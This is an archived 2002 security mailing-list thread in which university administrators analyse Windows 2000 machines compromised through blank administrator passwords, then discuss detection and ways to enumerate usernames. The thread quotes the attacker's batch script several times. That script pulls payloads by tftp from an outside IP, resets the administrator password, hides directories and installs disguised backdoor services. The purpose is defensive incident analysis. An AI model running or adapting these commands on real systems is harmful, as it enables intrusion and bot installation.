\RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* kill temp.exe del ..\2*.ocx del ..\32*.ocx del ..\temp2.exe PATH=%PATH%;c:\winnt\system32 move firedaem.exe firedaemon.exe del c:\winnt\system32\vmn32.exe attrib *.* -r /s attrib +s +h +r c:\winnt\system32\vmn32 attrib c:\winnt\system32\vmn32\asp +s +h attrib c:\winnt\system32\vmn32\aspc +s +h tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s net user administrator changem net share /delete ipc$ SET MXHOME=c:\winnt\system32\vmn32 SET MXBIN=c:\winnt\system32\vmn32 c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp" "c:\winnt\system32\vmn32\asp\SVHOST.EXE" "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i MSVC5 "c:\winnt\system32\vmn32\aspc" "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\services start Ms32dll c:\winnt\system32\vmn32\services start SVHOST c:\winnt\system32\vmn32\services start MSVC5 echo REGEDIT4 1>>root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> root.reg echo "restrictanonymous"="1" >> root.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg echo "NTLM"="2" >> root.reg regedit /S root.reg del root.reg services stop tlntsvr services delete tlntsvr services stop lmhosts services start lmhosts services start NtLmSsp services stop PSEXESVC services delete PSEXESVC Allen Chang wrote: > Apologies if I break the thread... > > Here's my analysis of the compromised computers. First of all, this is not > the Backdoor.darkIRC detected by antivirus programs. This backdoor is not > detected by the latest NAV patterns. > > I'm guessing that these computer were compromised through the > administrative share with no administrator password on Windows 2000. > > *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a > service using firedaemon.exe (or firedaem.exe). You can check for it under > Administrative Tools -> Services. The one on our hosts was called ms32dll > *Several .tmp files and a rudl32.exe are dropped in the Startup folder but > the .tmp files don't seem to run. > *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC > configurations(ir.con) seem to indicate that they are set up as XDCC > file-serving bots. > > Judging from this, one should be able to remove the service with a > "firedaemon -u ms32dll" This seems to close all the opened ports but I am > unsure as to what other damage may have been done. > > On all the hosts, nmap found the following ports open: > Port State Service > 132/tcp open cisco-sys <--tlntsvr.exe (telnet) > 135/tcp open loc-srv <--svchost.exe > 139/tcp open netbios-ssn <--NetBIOS sharing (normal) > 445/tcp open microsoft-ds <-Windows sharing (kind of normal) > 1025/tcp open listen <--mstask.exe (normal) > 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) > > Running Vision 1.0 (www.foundstone.com) on the compromised computers > yielded these additional ports and programs bound to them: > 1029/tcp <-- sxe5.tmp > 1031/tcp <-- sxe5.tmp > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with > the other lsass.exe from MS > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe > > According to vmn\ServUStartUpLog.txt (Not confirmed) > 3112 <-- ftp > > Hidden? (Never seen by me) > 99/tcp <-- Backdoor command shell? > > (**Files Found**) > C:\Documents and Settings\All Users\Start Menu\Programs\Startup > rudl32.exe > sxe3.tmp > sxe4.tmp > sxe5.tmp > > Other files mentioned at > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html > > @llen > Network Security > Office of Residential Computing > UC Berkeley > > -- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jeff Bollinger University of North Carolina IT Security Analyst 105 Abernethy Hall mailto: jeff_bollinger@unc dot edu -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjygx5sACgkQr07iNdAwCVN0UACfeNdXrqVapDreSWSGWjquOOBR +B8AnAjv3RqruOr8xWY7+xQ03qvGRhPz =UYVI -----END PGP SIGNATURE----- From mnx@utk.edu Thu May 2 23:42:02 2002 Date: Wed, 3 Apr 2002 10:06:35 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Mark Newman To: jeff_bollinger@unc.edu, Jeff Bollinger , Allen Chang Cc: unisog@sans.org, security@rescomp.berkeley.edu Anyone found a conclusive writeup on this? Mark Newman University of Tennessee On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote: > More on this attack. Here is the actual .bat file used by the attacker > which gives some great clues: > > ---- > > @echo off > c: > cd c:\winnt\system32\vmn32 > mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 > attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 > kill sxe* > kill temp.exe > del ..\2*.ocx > del ..\32*.ocx > del ..\temp2.exe > PATH=%PATH%;c:\winnt\system32 > move firedaem.exe firedaemon.exe > del c:\winnt\system32\vmn32.exe > attrib *.* -r /s > attrib +s +h +r c:\winnt\system32\vmn32 > attrib c:\winnt\system32\vmn32\asp +s +h > attrib c:\winnt\system32\vmn32\aspc +s +h > tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf > tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf > tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif > attrib *.* -r /s > net user administrator changem > net share /delete ipc$ > SET MXHOME=c:\winnt\system32\vmn32 > SET MXBIN=c:\winnt\system32\vmn32 > c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32" > "c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0 > 0 Y Y > c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp" > "c:\winnt\system32\vmn32\asp\SVHOST.EXE" > "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y > c:\winnt\system32\vmn32\firedaemon -i MSVC5 "c:\winnt\system32\vmn32\aspc" > "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" > "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y > c:\winnt\system32\vmn32\services start Ms32dll > c:\winnt\system32\vmn32\services start SVHOST > c:\winnt\system32\vmn32\services start MSVC5 > echo REGEDIT4 1>>root.reg > echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> root.reg > echo "restrictanonymous"="1" >> root.reg > echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg > echo "NTLM"="2" >> root.reg > regedit /S root.reg > del root.reg > services stop tlntsvr > services delete tlntsvr > services stop lmhosts > services start lmhosts > services start NtLmSsp > services stop PSEXESVC > services delete PSEXESVC > > Allen Chang wrote: > > Apologies if I break the thread... > > > > Here's my analysis of the compromised computers. First of all, this is > > not the Backdoor.darkIRC detected by antivirus programs. This backdoor is > > not detected by the latest NAV patterns. > > > > I'm guessing that these computer were compromised through the > > administrative share with no administrator password on Windows 2000. > > > > *A rouge lsass.exe (with a red u and a smaller green d icon) was > > installed as a service using firedaemon.exe (or firedaem.exe). You can > > check for it under Administrative Tools -> Services. The one on our hosts > > was called ms32dll *Several .tmp files and a rudl32.exe are dropped in > > the Startup folder but the .tmp files don't seem to run. > > *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC > > configurations(ir.con) seem to indicate that they are set up as XDCC > > file-serving bots. > > > > Judging from this, one should be able to remove the service with a > > "firedaemon -u ms32dll" This seems to close all the opened ports but I am > > unsure as to what other damage may have been done. > > > > On all the hosts, nmap found the following ports open: > > Port State Service > > 132/tcp open cisco-sys <--tlntsvr.exe (telnet) > > 135/tcp open loc-srv <--svchost.exe > > 139/tcp open netbios-ssn <--NetBIOS sharing (normal) > > 445/tcp open microsoft-ds <-Windows sharing (kind of normal) > > 1025/tcp open listen <--mstask.exe (normal) > > 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) > > > > Running Vision 1.0 (www.foundstone.com) on the compromised computers > > yielded these additional ports and programs bound to them: > > 1029/tcp <-- sxe5.tmp > > 1031/tcp <-- sxe5.tmp > > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with > > the other lsass.exe from MS > > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe > > > > According to vmn\ServUStartUpLog.txt (Not confirmed) > > 3112 <-- ftp > > > > Hidden? (Never seen by me) > > 99/tcp <-- Backdoor command shell? > > > > (**Files Found**) > > C:\Documents and Settings\All Users\Start Menu\Programs\Startup > > rudl32.exe > > sxe3.tmp > > sxe4.tmp > > sxe5.tmp > > > > Other files mentioned at > > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html > > > > @llen > > Network Security > > Office of Residential Computing > > UC Berkeley From huba@uidaho.edu Thu May 2 23:42:02 2002 Date: Wed, 3 Apr 2002 09:03:01 -0800 Subject: RE: [unisog] Re: Coordinated Scan From: Huba Leidenfrost To: mnx@utk.edu, jeff_bollinger@unc.edu, Jeff Bollinger , Allen Chang Cc: unisog@sans.org, security@rescomp.berkeley.edu We fired off sample copies of what we saw here (as probably did many of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for this and I'm sure the others will follow. I haven't seen a conclusive writeup. However it would appear that this is just another rendition of the global threat (GT Bot) as mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). Although we still don't know exactly what the dropper was I'm inclined to believe that the reason was simply poor user habits in terms of surfing and password settings. All the systems we saw hacked were 2000 Professional where the user had set their administrator password to nothing. H u b a - HUBA LEIDENFROST Systems Security Analyst huba@uidaho.edu Information Technology Services University Of Idaho TEL/FAX: 208.885.2126/7539 http://www.its.uidaho.edu/info-security/runsafe.htm -----Original Message----- From: Mark Newman [mailto:mnx@utk.edu] Sent: Wednesday, April 03, 2002 7:07 AM To: jeff_bollinger@unc.edu; Jeff Bollinger; Allen Chang Cc: unisog@sans.org; security@rescomp.berkeley.edu Subject: Re: [unisog] Re: Coordinated Scan Anyone found a conclusive writeup on this? Mark Newman University of Tennessee On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote: > More on this attack. Here is the actual .bat file used by the > attacker which gives some great clues: > > ---- > > @echo off > c: > cd c:\winnt\system32\vmn32 > mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 > attrib +s +r +h > \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* > kill temp.exe > del ..\2*.ocx > del ..\32*.ocx > del ..\temp2.exe > PATH=%PATH%;c:\winnt\system32 > move firedaem.exe firedaemon.exe > del c:\winnt\system32\vmn32.exe > attrib *.* -r /s > attrib +s +h +r c:\winnt\system32\vmn32 > attrib c:\winnt\system32\vmn32\asp +s +h > attrib c:\winnt\system32\vmn32\aspc +s +h > tftp -i 12.233.26.173 GET ir2.conf > c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET > xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 > GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s > net user administrator changem > net share /delete ipc$ > SET MXHOME=c:\winnt\system32\vmn32 > SET MXBIN=c:\winnt\system32\vmn32 > c:\winnt\system32\vmn32\firedaemon -i Ms32dll > "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" > "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y > c:\winnt\system32\vmn32\firedaemon -i SVHOST > "c:\winnt\system32\vmn32\asp" > "c:\winnt\system32\vmn32\asp\SVHOST.EXE" > "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y > c:\winnt\system32\vmn32\firedaemon -i MSVC5 > "c:\winnt\system32\vmn32\aspc" > "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" > "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y > c:\winnt\system32\vmn32\services start Ms32dll > c:\winnt\system32\vmn32\services start SVHOST > c:\winnt\system32\vmn32\services start MSVC5 > echo REGEDIT4 1>>root.reg > echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> > root.reg echo "restrictanonymous"="1" >> root.reg > echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> > root.reg echo "NTLM"="2" >> root.reg > regedit /S root.reg > del root.reg > services stop tlntsvr > services delete tlntsvr > services stop lmhosts > services start lmhosts > services start NtLmSsp > services stop PSEXESVC > services delete PSEXESVC > > Allen Chang wrote: > > Apologies if I break the thread... > > > > Here's my analysis of the compromised computers. First of all, > > this is not the Backdoor.darkIRC detected by antivirus programs. > > This backdoor is not detected by the latest NAV patterns. > > > > I'm guessing that these computer were compromised through the > > administrative share with no administrator password on Windows > > 2000. > > > > *A rouge lsass.exe (with a red u and a smaller green d icon) was > > installed as a service using firedaemon.exe (or firedaem.exe). > > You can check for it under Administrative Tools -> Services. The > > one on our hosts was called ms32dll *Several .tmp files and a > > rudl32.exe are dropped in the Startup folder but the .tmp files > > don't seem to run. > > *Serve-U FTP, IRC and telnet servers are run on various ports. > > The IRC configurations(ir.con) seem to indicate that they are set > > up as XDCC file-serving bots. > > > > Judging from this, one should be able to remove the service with > > a "firedaemon -u ms32dll" This seems to close all the opened > > ports but I am unsure as to what other damage may have been done. > > > > On all the hosts, nmap found the following ports open: > > Port State Service > > 132/tcp open cisco-sys <--tlntsvr.exe (telnet) > > 135/tcp open loc-srv <--svchost.exe > > 139/tcp open netbios-ssn <--NetBIOS sharing (normal) > > 445/tcp open microsoft-ds <-Windows sharing (kind of > > normal) 1025/tcp open listen <--mstask.exe (normal) > > 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor > > client) > > > > Running Vision 1.0 (www.foundstone.com) on the compromised > > computers yielded these additional ports and programs bound to > > them: > > 1029/tcp <-- sxe5.tmp > > 1031/tcp <-- sxe5.tmp > > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be > > confused with the other lsass.exe from MS > > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe > > > > According to vmn\ServUStartUpLog.txt (Not confirmed) > > 3112 <-- ftp > > > > Hidden? (Never seen by me) > > 99/tcp <-- Backdoor command shell? > > > > (**Files Found**) > > C:\Documents and Settings\All Users\Start Menu\Programs\Startup > > rudl32.exe > > sxe3.tmp > > sxe4.tmp > > sxe5.tmp > > > > Other files mentioned at > > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html > > > > @llen > > Network Security > > Office of Residential Computing > > UC Berkeley *** Not encrypted nor signed data is left *** End of not encrypted nor signed data From huba@uidaho.edu Thu May 2 23:42:05 2002 Date: Wed, 3 Apr 2002 09:47:16 -0800 Subject: RE: [unisog] Re: Coordinated Scan From: Huba Leidenfrost To: mnx@utk.edu, jeff_bollinger@unc.edu, Jeff Bollinger , Allen Chang Cc: unisog@sans.org, security@rescomp.berkeley.edu Correction: F-Secure doesn't have a signature out yet for this. They are still testing it. The fix they gave us didn't clean everything up. Looks like they will call it some rendition of "darkIRC." H u b a - HUBA LEIDENFROST Systems Security Analyst huba@uidaho.edu Information Technology Services University Of Idaho TEL/FAX: 208.885.2126/7539 http://www.its.uidaho.edu/info-security/runsafe.htm *** Not encrypted nor signed data is left *** End of not encrypted nor signed data From terry.cavender@vanderbilt.edu Thu May 2 23:42:07 2002 Date: Wed, 03 Apr 2002 18:12:10 -0600 Subject: RE: [unisog] Re: Coordinated Scan From: Terry Cavender To: unisog@sans.org You may also want to read this and note the security warning at the bottom. http://www.firedaemon.com/ Seems like a good product. --On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > We fired off sample copies of what we saw here (as probably did many > of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for > this and I'm sure the others will follow. > > I haven't seen a conclusive writeup. However it would appear that > this is just another rendition of the global threat (GT Bot) as > mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). > Although we still don't know exactly what the dropper was I'm > inclined to believe that the reason was simply poor user habits in > terms of surfing and password settings. All the systems we saw > hacked were 2000 Professional where the user had set their > administrator password to nothing. > > H u b a > - - > HUBA LEIDENFROST Systems Security Analyst > huba@uidaho.edu Information Technology Services > University Of Idaho TEL/FAX: 208.885.2126/7539 > http://www.its.uidaho.edu/info-security/runsafe.htm > > - -----Original Message----- > From: Mark Newman [mailto:mnx@utk.edu] > Sent: Wednesday, April 03, 2002 7:07 AM > To: jeff_bollinger@unc.edu; Jeff Bollinger; Allen Chang > Cc: unisog@sans.org; security@rescomp.berkeley.edu > Subject: Re: [unisog] Re: Coordinated Scan > > > Anyone found a conclusive writeup on this? > > Mark Newman > University of Tennessee > > On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote: >> More on this attack. Here is the actual .bat file used by the >> attacker which gives some great clues: >> >> ---- >> >> @echo off >> c: >> cd c:\winnt\system32\vmn32 >> mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 >> attrib +s +r +h >> \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* >> kill temp.exe >> del ..\2*.ocx >> del ..\32*.ocx >> del ..\temp2.exe >> PATH=%PATH%;c:\winnt\system32 >> move firedaem.exe firedaemon.exe >> del c:\winnt\system32\vmn32.exe >> attrib *.* -r /s >> attrib +s +h +r c:\winnt\system32\vmn32 >> attrib c:\winnt\system32\vmn32\asp +s +h >> attrib c:\winnt\system32\vmn32\aspc +s +h >> tftp -i 12.233.26.173 GET ir2.conf >> c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET >> xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 >> GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s >> net user administrator changem >> net share /delete ipc$ >> SET MXHOME=c:\winnt\system32\vmn32 >> SET MXBIN=c:\winnt\system32\vmn32 >> c:\winnt\system32\vmn32\firedaemon -i Ms32dll >> "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" >> "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y >> c:\winnt\system32\vmn32\firedaemon -i SVHOST >> "c:\winnt\system32\vmn32\asp" >> "c:\winnt\system32\vmn32\asp\SVHOST.EXE" >> "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y >> c:\winnt\system32\vmn32\firedaemon -i MSVC5 >> "c:\winnt\system32\vmn32\aspc" >> "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" >> "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y >> c:\winnt\system32\vmn32\services start Ms32dll >> c:\winnt\system32\vmn32\services start SVHOST >> c:\winnt\system32\vmn32\services start MSVC5 >> echo REGEDIT4 1>>root.reg >> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> >> root.reg echo "restrictanonymous"="1" >> root.reg >> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> >> root.reg echo "NTLM"="2" >> root.reg >> regedit /S root.reg >> del root.reg >> services stop tlntsvr >> services delete tlntsvr >> services stop lmhosts >> services start lmhosts >> services start NtLmSsp >> services stop PSEXESVC >> services delete PSEXESVC >> >> Allen Chang wrote: >> > Apologies if I break the thread... >> > >> > Here's my analysis of the compromised computers. First of all, >> > this is not the Backdoor.darkIRC detected by antivirus programs. >> > This backdoor is not detected by the latest NAV patterns. >> > >> > I'm guessing that these computer were compromised through the >> > administrative share with no administrator password on Windows >> > 2000. >> > >> > *A rouge lsass.exe (with a red u and a smaller green d icon) was >> > installed as a service using firedaemon.exe (or firedaem.exe). >> > You can check for it under Administrative Tools -> Services. The >> > one on our hosts was called ms32dll *Several .tmp files and a >> > rudl32.exe are dropped in the Startup folder but the .tmp files >> > don't seem to run. >> > *Serve-U FTP, IRC and telnet servers are run on various ports. >> > The IRC configurations(ir.con) seem to indicate that they are set >> > up as XDCC file-serving bots. >> > >> > Judging from this, one should be able to remove the service with >> > a "firedaemon -u ms32dll" This seems to close all the opened >> > ports but I am unsure as to what other damage may have been done. >> > >> > On all the hosts, nmap found the following ports open: >> > Port State Service >> > 132/tcp open cisco-sys <--tlntsvr.exe (telnet) >> > 135/tcp open loc-srv <--svchost.exe >> > 139/tcp open netbios-ssn <--NetBIOS sharing (normal) >> > 445/tcp open microsoft-ds <-Windows sharing (kind of >> > normal) 1025/tcp open listen <--mstask.exe (normal) >> > 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor >> > client) >> > >> > Running Vision 1.0 (www.foundstone.com) on the compromised >> > computers yielded these additional ports and programs bound to >> > them: >> > 1029/tcp <-- sxe5.tmp >> > 1031/tcp <-- sxe5.tmp >> > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be >> > confused with the other lsass.exe from MS >> > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe >> > >> > According to vmn\ServUStartUpLog.txt (Not confirmed) >> > 3112 <-- ftp >> > >> > Hidden? (Never seen by me) >> > 99/tcp <-- Backdoor command shell? >> > >> > (**Files Found**) >> > C:\Documents and Settings\All Users\Start Menu\Programs\Startup >> > rudl32.exe >> > sxe3.tmp >> > sxe4.tmp >> > sxe5.tmp >> > >> > Other files mentioned at >> > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html >> > >> > @llen >> > Network Security >> > Office of Residential Computing >> > UC Berkeley > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 7.0.3 for non-commercial use > > iQA/AwUBPKs1w0pG2S0cMeJwEQLFlACg8TqRo7lO2jLMymLhvEME+CqROfEAoL1M > 7H4fhOGU2CbFeKshjk8aZHHm > =8+bO > -----END PGP SIGNATURE----- > ----------------------------------------------------------------- Terry Cavender Network Security Officer Vanderbilt University http://www.vanderbilt.edu/its/security WK: 615-343-3494 Fx: 615-343-1605 terry.cavender@Vanderbilt.Edu From jtillots@pharmacy.purdue.edu Thu May 2 23:42:07 2002 Date: Thu, 4 Apr 2002 09:04:10 -0500 (EST) Subject: RE: [unisog] Re: Coordinated Scan From: Jenett Tillotson To: unisog@sans.org Let me also add that I think this was the result of poor user habits. 3 of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had 160 attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually the administrator account, but another account with administrator privilege. Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University On Wed, 3 Apr 2002, Terry Cavender wrote: > You may also want to read this and note the security warning at the bottom. > > http://www.firedaemon.com/ > > Seems like a good product. > > > --On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost wrote: > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > We fired off sample copies of what we saw here (as probably did many > > of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for > > this and I'm sure the others will follow. > > > > I haven't seen a conclusive writeup. However it would appear that > > this is just another rendition of the global threat (GT Bot) as > > mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). > > Although we still don't know exactly what the dropper was I'm > > inclined to believe that the reason was simply poor user habits in > > terms of surfing and password settings. All the systems we saw > > hacked were 2000 Professional where the user had set their > > administrator password to nothing. > > > > H u b a > > - - > > HUBA LEIDENFROST Systems Security Analyst > > huba@uidaho.edu Information Technology Services > > University Of Idaho TEL/FAX: 208.885.2126/7539 > > http://www.its.uidaho.edu/info-security/runsafe.htm > > From paland@stetson.edu Thu May 2 23:42:07 2002 Date: Thu, 4 Apr 2002 09:54:36 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Patrick Aland To: Jenett Tillotson Cc: unisog@sans.org null session enumeration is one easy way. There is a rather nice perl script called null.pl (don't have url handy) that will get you a list of usernames, shares, etc on a machine. On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote: > > Let me also add that I think this was the result of poor user habits. 3 > of the boxes that were broken into had a blank administrator password. > Also, there were logs of other attempts on campus where one box had 160 > attempts to log into an account with administrator privileges. > > What puzzles me is that none of the accounts involved were actually the > administrator account, but another account with administrator privilege. > Excuse my ignorance with Microsoft products, but how does a hacker find > out the usernames on a Windows box? > > Jenett Tillotson > School of Pharmacy > Purdue University > -- ------------------------------------------------------------ Patrick Aland paland@stetson.edu Network Administrator Voice: 386.822.7217 Stetson University Fax: 386.822.7367 ------------------------------------------------------------ [ Part 2, Application/PGP-SIGNATURE 240bytes. ] [ Unable to print this part. ] From andy@umbc.edu Thu May 2 23:42:07 2002 Date: Thu, 4 Apr 2002 11:01:38 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Patrick Aland Cc: Jenett Tillotson , unisog@sans.org There is also a Windows utility called "Winfingerprint" which scans an IP range for a menu of items like: NetBios shares Groups Users Null Sessions Registry Services Transports TCP port scan See http://sourceforge.net/projects/winfingerprint/ - andy On Thu, 4 Apr 2002, Patrick Aland wrote: > null session enumeration is one easy way. > > There is a rather nice perl script called null.pl (don't have url handy) > that will get you a list of usernames, shares, etc on a machine. > > > On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote: > > > > Let me also add that I think this was the result of poor user habits. 3 > > of the boxes that were broken into had a blank administrator password. > > Also, there were logs of other attempts on campus where one box had 160 > > attempts to log into an account with administrator privileges. > > > > What puzzles me is that none of the accounts involved were actually the > > administrator account, but another account with administrator privilege. > > Excuse my ignorance with Microsoft products, but how does a hacker find > > out the usernames on a Windows box? > > > > Jenett Tillotson > > School of Pharmacy > > Purdue University > > > -- > ------------------------------------------------------------ > Patrick Aland paland@stetson.edu > Network Administrator Voice: 386.822.7217 > Stetson University Fax: 386.822.7367 > ------------------------------------------------------------ > ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2002) 4096/8448B056 ** ** Office of Information Technology, UMBC * 4A B4 96 64 D9 B6 EF E3 21 9A ** ** 410-455-2583 (v)/410-455-1065 (f) * 46 1A 37 11 F5 6C 84 48 B0 56 ** ------------------------------------------------------------------------------ From pgoverts@sjfc.edu Thu May 2 23:42:07 2002 Date: Thu, 4 Apr 2002 11:15:46 -0500 Subject: RE: [unisog] Re: Coordinated Scan From: "Goverts IV, Paul" To: "'unisog@sans.org'" It's especially easy if you have a tool such as Nessus, where one of the plugins actually queries the PC for netbios information, and it can not only return the names of users that use that PC, but potentially also the names of other PC's that the PC has browsed on Network Neighborhood. Paul -----Original Message----- From: Jenett Tillotson [mailto:jtillots@pharmacy.purdue.edu] Sent: Thursday, April 04, 2002 9:04 AM To: unisog@sans.org Subject: RE: [unisog] Re: Coordinated Scan Let me also add that I think this was the result of poor user habits. 3 of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had 160 attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually the administrator account, but another account with administrator privilege. Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University On Wed, 3 Apr 2002, Terry Cavender wrote: > You may also want to read this and note the security warning at the bottom. > > http://www.firedaemon.com/ > > Seems like a good product. > > > --On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost wrote: > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > We fired off sample copies of what we saw here (as probably did many > > of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for > > this and I'm sure the others will follow. > > > > I haven't seen a conclusive writeup. However it would appear that > > this is just another rendition of the global threat (GT Bot) as > > mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). > > Although we still don't know exactly what the dropper was I'm > > inclined to believe that the reason was simply poor user habits in > > terms of surfing and password settings. All the systems we saw > > hacked were 2000 Professional where the user had set their > > administrator password to nothing. > > > > H u b a > > - - > > HUBA LEIDENFROST Systems Security Analyst > > huba@uidaho.edu Information Technology Services > > University Of Idaho TEL/FAX: 208.885.2126/7539 > > http://www.its.uidaho.edu/info-security/runsafe.htm > > From reggers@ist.uwaterloo.ca Thu May 2 23:42:07 2002 Date: Mon, 8 Apr 2002 14:06:26 -0400 Subject: Re: [unisog] Re: Coordinated Scan From: Reg Quinton To: Jenett Tillotson , unisog@sans.org > Excuse my ignorance with Microsoft products, but how does a hacker find > out the usernames on a Windows box? I'm very ignorant about Microsoft products but..... 1). The Microsoft Personal Security Advisor at http://www.microsoft.com/technet/mpsa/start.asp is a self-service page to help one with security settings, patches and more. One of those security settings: http://www.microsoft.com/technet/mpsa/anonymous.asp has these values: 0 - "None. Rely on default permissions" 1 - "Do not allow enumeration of SAM accounts and names" 2 - "No access without explicit anonymous permissions" (not available on Windows NT 4) It's apparent that you can lock down a machine to stop the information leak (but don't try this setting on an Active Directory server ;-) 2). The "null.pl" mentioned in another response is found at: http://patriot.net/~carvdawg/scripts/null.pl But I've not tried it. Especially to see if the setting in 1) above stops the information leak 3). I did a very simple scan of our campus searching for open c$ shares accessible by Administrator with "" password using smbclient. I used nmap to find those machines that look like Windows and piped that through this: [2:02pm ist] more SmbProbe #!/bin/sh # # Foreach 